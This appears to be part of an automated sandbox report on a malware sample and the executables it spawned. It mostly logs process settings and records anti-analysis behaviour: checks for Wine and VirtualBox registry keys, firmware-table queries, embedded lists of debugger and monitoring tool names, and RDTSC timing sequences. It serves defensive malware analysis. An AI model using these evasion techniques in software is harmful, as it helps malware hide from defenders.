Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_1-9656

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 0016128732.exe, 00000007.00000003.2452688140.00000000077B6000.00000004.00001000.00020000.00000000.sdmp, 48a114f480.exe, 00000011.00000002.2759465548.0000000001511000.00000040.00000001.01000000.0000000F.sdmp, 48a114f480.exe, 00000011.00000003.2718192248.0000000007A20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: 0016128732.exe, 00000007.00000003.2452688140.00000000077B6000.00000004.00001000.00020000.00000000.sdmp, 48a114f480.exe, 00000011.00000002.2759465548.0000000001511000.00000040.00000001.01000000.0000000F.sdmp, 48a114f480.exe, 00000011.00000003.2718192248.0000000007A20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000000.2752945315.000000000041F000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: %HSWPESPY.DLLAVGHOOKX.DLLSBIEDLL.DLLSNXHK.DLLVMCHECK.DLLDIR_WATCH.DLLAPI_LOG.DLLPSTOREC.DLLAVGHOOKA.DLLCMDVRT64.DLLCMDVRT32.DLLIMAGE/JPEGCHAININGMODEAESCHAININGMODEGCMABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=UNKNOWN EXCEPTIONBAD ALLOCATION
Source: 0016128732.exe, 00000007.00000003.2452688140.00000000077B6000.00000004.00001000.00020000.00000000.sdmp, 48a114f480.exe, 00000011.00000002.2759465548.0000000001511000.00000040.00000001.01000000.0000000F.sdmp, 48a114f480.exe, 00000011.00000003.2718192248.0000000007A20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WINDBG.EXE
Source: 48a114f480.exe, 00000011.00000003.2718192248.0000000007A20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: 0016128732.exe, 00000007.00000003.2452688140.00000000077B6000.00000004.00001000.00020000.00000000.sdmp, 48a114f480.exe, 00000011.00000002.2759465548.0000000001511000.00000040.00000001.01000000.0000000F.sdmp, 48a114f480.exe, 00000011.00000003.2718192248.0000000007A20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CF4AE second address: 2CF4B8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CF4B8 second address: 2CED46 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F61C0BD0386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jc 00007F61C0BD0386h 0x00000014 push edx 0x00000015 pop edx 0x00000016 popad 0x00000017 pop edx 0x00000018 nop 0x00000019 cld 0x0000001a push dword ptr [ebp+122D112Dh] 0x00000020 cmc 0x00000021 call dword ptr [ebp+122D3794h] 0x00000027 pushad 0x00000028 mov dword ptr [ebp+122D2AC6h], ecx 0x0000002e jmp 00007F61C0BD0390h 0x00000033 xor eax, eax 0x00000035 sub dword ptr [ebp+122D2AC6h], ecx 0x0000003b mov edx, dword ptr [esp+28h] 0x0000003f pushad 0x00000040 jmp 00007F61C0BD038Dh 0x00000045 xor di, 5E79h 0x0000004a popad 0x0000004b js 00007F61C0BD038Ch 0x00000051 mov dword ptr [ebp+122D3B70h], eax 0x00000057 jmp 00007F61C0BD0390h 0x0000005c mov esi, 0000003Ch 0x00000061 jl 00007F61C0BD038Ch 0x00000067 add esi, dword ptr [esp+24h] 0x0000006b jmp 00007F61C0BD0399h 0x00000070 lodsw 0x00000072 mov dword ptr [ebp+122D36ABh], eax 0x00000078 add eax, dword ptr [esp+24h] 0x0000007c stc 0x0000007d cmc 0x0000007e mov ebx, dword ptr [esp+24h] 0x00000082 sub dword ptr [ebp+122D36ABh], ebx 0x00000088 nop 0x00000089 push eax 0x0000008a push edx 0x0000008b jbe 00007F61C0BD0388h 0x00000091 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44A9D6 second address: 44A9F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F61C0D2D459h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44AB6D second address: 44AB77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F61C0BD0386h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44AB77 second address: 44AB7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44AB7B second address: 44AB85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44AB85 second address: 44AB8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44ACE2 second address: 44ACE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44AF9C second address: 44AFA5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
